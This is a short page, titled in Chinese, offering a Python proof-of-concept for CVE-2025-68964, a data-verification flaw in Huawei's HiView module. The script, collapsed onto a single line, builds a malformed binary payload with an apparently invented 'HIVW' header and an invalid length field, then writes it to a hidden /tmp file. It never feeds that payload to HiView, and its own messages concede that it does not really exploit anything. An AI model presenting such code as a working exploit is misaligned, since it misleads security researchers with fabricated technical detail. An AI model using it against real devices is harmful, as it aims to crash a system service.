CVE-2025-68964: 华为HiView模块数据验证漏洞导致可用性受影响

# CVE-2025-68964 PoC - HiView Module Data Verification Bypass # This PoC demonstrates local privilege access to trigger availability impact # Note: Actual exploitation requires specific input crafting based on target environment import struct import os def create_malformed_hiview_data(): """ Generate malformed data payload to trigger data verification vulnerability in Huawei HiView module. This may cause availability impact. """ # Craft malformed data structure payload = bytearray() # Header with invalid length field payload.extend(b'HIVW') # Magic number payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid length # Malformed data entries for i in range(100): payload.extend(b'\x00' * 256) # Padding payload.extend(struct.pack('<Q', i)) # Index payload.extend(b'\xFF' * 128) # Invalid data return bytes(payload) def trigger_vulnerability(target_path='/usr/bin/HiView'): """ Attempt to trigger the data verification vulnerability. Requires local access to the target system. """ if not os.path.exists(target_path): print(f'[-] Target {target_path} not found') return False print('[+] Creating malformed HiView data payload...') payload = create_malformed_hiview_data() # Write payload to temp location temp_file = '/tmp/.hiview_exploit_payload' with open(temp_file, 'wb') as f: f.write(payload) print(f'[+] Payload written to {temp_file}') print('[+] Payload size:', len(payload), 'bytes') print('[+] Note: Actual exploitation depends on specific HiView version') print('[+] This PoC demonstrates the data verification bypass concept') return True if __name__ == '__main__': print('CVE-2025-68964 - Huawei HiView Module Data Verification Vulnerability') print('CVSS: 6.2 (Medium) | AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H') print('-' * 60) trigger_vulnerability()